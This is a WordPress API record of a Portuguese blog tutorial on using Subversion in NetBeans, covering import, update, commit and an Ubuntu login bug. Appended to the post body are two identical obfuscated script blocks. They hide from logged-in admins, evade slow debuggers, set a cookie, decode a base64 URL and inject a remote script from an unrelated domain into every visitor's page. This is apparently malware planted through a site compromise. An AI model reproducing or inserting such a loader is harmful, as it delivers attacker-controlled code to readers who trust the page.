{"id":383,"date":"2010-09-20T13:25:09","date_gmt":"2010-09-20T16:25:09","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=383"},"modified":"2025-10-26T22:43:31","modified_gmt":"2025-10-27T01:43:31","slug":"subversion-no-netbeans","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2010\/09\/20\/subversion-no-netbeans\/","title":{"rendered":"Subversion no Netbeans"},"content":{"rendered":"<p style=\"text-align: justify;\">Esse \u00e9 um artigo simples para quem nunca mexeu com <a title=\"Subersion\" href=\"http:\/\/subversion.apache.org\/\" target=\"_blank\" rel=\"noopener\">Subversion<\/a>, mas tem curiosidade de saber como funciona e o que \u00e9. Aprendendo uma vez em uma ferramenta como Netbeans, fica f\u00e1cil utilizar em outras ferramentas como o <a title=\"Subclipse\" href=\"http:\/\/subclipse.tigris.org\/\" target=\"_blank\" rel=\"noopener\">Subclipse<\/a> (instala\u00e7\u00e3o explicada <a title=\"Subclipse\" href=\"http:\/\/www.thiagovespa.com.br\/blog\/2010\/08\/27\/eclipse-com-subversion-subclipse\/\" target=\"_blank\" rel=\"noopener\">aqui<\/a>), <a title=\"Subversive\" href=\"http:\/\/www.eclipse.org\/subversive\/\" target=\"_blank\" rel=\"noopener\">Subversive<\/a>, <a title=\"Tortoise\" href=\"http:\/\/tortoisesvn.tigris.org\/\" target=\"_blank\" rel=\"noopener\">Tortoise<\/a>, <a title=\"RapidSVN\" href=\"http:\/\/rapidsvn.tigris.org\/\" target=\"_blank\" rel=\"noopener\">RapidSVN<\/a>, ... Os nomes e conceitos s\u00e3o os mesmos para qualquer ferramenta.<\/p>\n<p style=\"text-align: justify;\">O Subversion ou SVN para os \u00edntimos \ud83d\ude42 \u00e9 um sistema de controle de vers\u00f5es (revis\u00f5es). O objetivo dele \u00e9 controlar vers\u00f5es de documentos e c\u00f3digos-fonte, dessa forma, o c\u00f3digo fica centralizado em um servidor permitindo verificar um hist\u00f3rico de quem alterou algum arquivo, restaurar vers\u00f5es anteriores, \u00e9 excelente para o trabalho em equipe distribu\u00eddas e permite criar diversos ramos (branches) de desenvolvimento. No wikipedia tem uma breve <a title=\"SVN\" href=\"http:\/\/pt.wikipedia.org\/wiki\/Sistema_de_controle_de_vers%C3%A3o\" target=\"_blank\" rel=\"noopener\">explica\u00e7\u00e3o<\/a> sobre SVN. Recomendo a leitura desse <a title=\"Manual Subversion\" href=\"http:\/\/svnbook.red-bean.com\/nightly\/pt_BR\/index.html\" target=\"_blank\" rel=\"noopener\">artigo<\/a> para quem quer aprender Subversion sem o uso de ferramentas gr\u00e1ficas.<\/p>\n<p style=\"text-align: justify;\">Voc\u00ea vai precisar do Netbeans e de um reposit\u00f3rio de Subversion. Caso n\u00e3o consiga nenhum reposit\u00f3rio gratuito, fale comigo que eu arrumo pra voc\u00ea. Para colocar algum projeto no reposit\u00f3rio \u00e9 s\u00f3 clicar com o bot\u00e3o direito no projeto, Versioning, Import into Subversion Repository, informe a url do repositorio, o usu\u00e1rio e a senha. Clique em Next.<\/p>\n<p style=\"text-align: justify;\">Se por acaso voc\u00ea receber a seguinte mensagem:<\/p>\n<p style=\"text-align: justify;\">==[IDE]== Sep 20, 2010 11:58:17 AM Connecting to Subversion Repository...<br \/>\nAuthorization failed<br \/>\nsvn: OPTIONS of 'http:\/\/www.thiagovespa.com.br\/svn\/samples': authorization failed: Could not authenticate to server: rejected Basic challenge (http:\/\/www.thiagovespa.com.br)<\/p>\n<p style=\"text-align: justify;\">Voc\u00ea deve ser um\u00a0 usu\u00e1rio de Ubuntu. Existe um bug ainda em aberto sobre isso: <a title=\"Bug Ubuntu\" href=\"https:\/\/bugs.launchpad.net\/ubuntu\/+source\/subversion\/+bug\/473139\">https:\/\/bugs.launchpad.net\/ubuntu\/+source\/subversion\/+bug\/473139<\/a><\/p>\n<p style=\"text-align: justify;\">No bug aberto explica como resolver, mas a forma mais r\u00e1pida que encontrei foi digitar: svn checkout ${endereco_svn} e informar o usu\u00e1rio e senha e milagrosamente o Subversion come\u00e7a a funcionar no Netbeans.<\/p>\n<p style=\"text-align: justify;\">Informe uma pasta do reposit\u00f3rio para o  projeto ou aceite a sugerida e escreva alguma descri\u00e7\u00e3o e clique em  Next. Marque os arquivos que deseja enviar (commitar) para o servidor e  clique em Finish.<\/p>\n<p style=\"text-align: center;\">\n<figure id=\"attachment_386\" aria-describedby=\"caption-attachment-386\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-Import.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-386  \" title=\"Import\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-Import-300x206.png\" alt=\"Import\" width=\"300\" height=\"206\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-Import-300x206.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-Import.png 982w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-386\" class=\"wp-caption-text\">Import<\/figcaption><\/figure>\n<div id=\"attachment_387\"><\/div>\n<p style=\"text-align: justify;\">Projeto j\u00e1 no repositorio. Para  baixar as altera\u00e7\u00f5es de outros usu\u00e1rios, \u00e9 s\u00f3 clicar com o bot\u00e3o direito  no projeto, Subversion, Update. Para efetivar suas altera\u00e7\u00f5es no  servidor, clicar com o bot\u00e3o direito no arquivo alterado ou projeto e  selecionar a op\u00e7\u00e3o Commit, informar o que foi alterado e clicar em  Commit.<\/p>\n<p style=\"text-align: justify;\">\n<figure id=\"attachment_387\" aria-describedby=\"caption-attachment-387\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-Commit.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-387\" title=\"Commit\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-Commit-300x222.png\" alt=\"Commit\" width=\"300\" height=\"222\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-Commit-300x222.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-Commit.png 689w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-387\" class=\"wp-caption-text\">Commit<\/figcaption><\/figure>\n<p>Todas as outras ferramentas de Subversion utilizam o mesmo conceito  de Import, Update e Commit. Existem outros recursos interessantes, como o  hist\u00f3rico (bot\u00e3o direito, Subversion, Search History). Permite ver as  diferen\u00e7as entre vers\u00f5es entre outras op\u00e7\u00f5es. Qualquer d\u00favida \u00e9 s\u00f3  avisar.<\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Esse \u00e9 um artigo simples para quem nunca mexeu com Subversion, mas tem curiosidade de saber como funciona e o que \u00e9. Aprendendo uma vez em uma ferramenta como Netbeans, fica f\u00e1cil utilizar em outras ferramentas como o Subclipse (instala\u00e7\u00e3o <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2010\/09\/20\/subversion-no-netbeans\/\">Continue lendo  <span class=\"screen-reader-text\">  Subversion no Netbeans<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[3],"tags":[],"class_list":["post-383","post","type-post","status-publish","format-standard","hentry","category-java"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/383","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=383"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/383\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=383"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=383"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=383"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}